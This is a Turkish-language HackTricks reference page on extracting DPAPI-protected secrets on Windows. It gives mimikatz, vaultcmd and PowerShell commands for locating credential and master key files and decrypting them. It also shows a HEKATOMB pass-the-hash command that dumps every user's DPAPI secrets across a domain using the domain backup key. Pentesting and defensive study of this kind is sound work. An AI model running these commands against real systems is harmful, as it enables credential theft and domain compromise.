hacktricks/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
2024-02-10 18:14:16 +00:00

9.4 KiB
Raw Blame History

DPAPI - Parolaları Çıkarma

AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı)ile öğrenin!

RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

{% embed url="https://www.rootedcon.com/" %}

DPAPI Nedir

Veri Koruma API'si (DPAPI), öncelikle Windows işletim sisteminde asimetrik özel anahtarların simetrik şifrelemesi için kullanılır ve kullanıcı veya sistem sırlarını önemli bir entropi kaynağı olarak kullanır. Bu yaklaşım, geliştiricilerin kullanıcının oturum açma sırlarından türetilen bir anahtar kullanarak verileri şifrelemesine olanak tanıyarak, geliştiricilerin şifreleme anahtarının korunmasını kendileri yönetme ihtiyacını ortadan kaldırır.

DPAPI ile Korunan Veriler

DPAPI tarafından korunan kişisel veriler arasında şunlar bulunur:

  • Internet Explorer ve Google Chrome'un parolaları ve otomatik tamamlama verileri
  • Outlook ve Windows Mail gibi uygulamalar için e-posta ve iç FTP hesap parolaları
  • Paylaşılan klasörler, kaynaklar, kablosuz ağlar ve Windows Vault için parolalar, şifreleme anahtarları dahil
  • Uzak masaüstü bağlantıları, .NET Passport ve çeşitli şifreleme ve kimlik doğrulama amaçları için özel anahtarlar için parolalar
  • Kimlik Bilgileri Yöneticisi tarafından yönetilen ağ parolaları ve Skype, MSN messenger ve daha fazlası gibi CryptProtectData kullanan uygulamalardaki kişisel veriler

Vault Listesi

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Kimlik Bilgileri Dosyaları

Korunan kimlik bilgileri dosyaları, aşağıdaki yerlerde bulunabilir:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Mimikatz kullanarak kimlik bilgileri bilgisini dpapi::cred komutunu kullanarak alabilirsiniz. Yanıtta, şifrelenmiş veri ve guidMasterKey gibi ilginç bilgiler bulabilirsiniz.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

mimikatz modülünü dpapi::cred komutuyla kullanarak uygun /masterkey ile şifreleri çözebilirsiniz:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Anahtarlar

Kullanıcının RSA anahtarlarını şifrelemek için kullanılan DPAPI anahtarları, %APPDATA%\Microsoft\Protect\{SID} dizini altında saklanır, burada {SID} kullanıcının Güvenlik Tanımlayıcısı bulunur. DPAPI anahtarı, kullanıcının özel anahtarlarını koruyan anahtarla aynı dosyada saklanır. Genellikle rastgele verilerden oluşan 64 baytlık bir anahtardır. (Bu dizin korumalı olduğu için dir komutunu kullanarak listelenemez, ancak PS üzerinden listelenebilir).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Aşağıda bir kullanıcının bir dizi Anahtarın nasıl görüneceği gösterilmektedir:

Genellikle her bir anahtar, diğer içeriği şifreleyebilen şifreli bir simetrik anahtardır. Bu nedenle, daha sonra onunla şifrelenmiş olan diğer içeriği şifrelemek için şifreli Anahtar'ın çıkarılması ilginçtir.

Anahtarın çıkarılması ve şifrelenmesi

Anahtarın çıkarılması ve şifrelenmesi için örnek olarak https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ bağlantısına bakın.

SharpDPAPI

SharpDPAPI, @gentilkiwi'nin Mimikatz projesinden bazı DPAPI işlevselliğinin bir C# taşınmasıdır.

HEKATOMB

HEKATOMB, LDAP dizininden tüm kullanıcıların ve bilgisayarların çıkarılmasını ve RPC aracılığıyla etki alanı denetleyici yedek anahtarının çıkarılmasını otomatikleştiren bir araçtır. Daha sonra betik, tüm bilgisayarların IP adreslerini çözecek ve tüm kullanıcıların DPAPI bloklarını almak ve bunları etki alanı yedek anahtarıyla her şeyi şifrelemek için tüm bilgisayarlarda smbclient gerçekleştirecektir.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

LDAP bilgisayar listesinden çıkarılanla her alt ağı bulabilirsiniz, hatta onları bilmiyorsanız bile!

"Çünkü Etki Alanı Yönetici hakları yeterli değil. Hepsi onları hackleyin."

DonPAPI

DonPAPI, DPAPI tarafından korunan sırları otomatik olarak dökebilir.

Referanslar

RootedCON, İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin teşvik edilmesi misyonuyla, bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

{% embed url="https://www.rootedcon.com/" %}

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!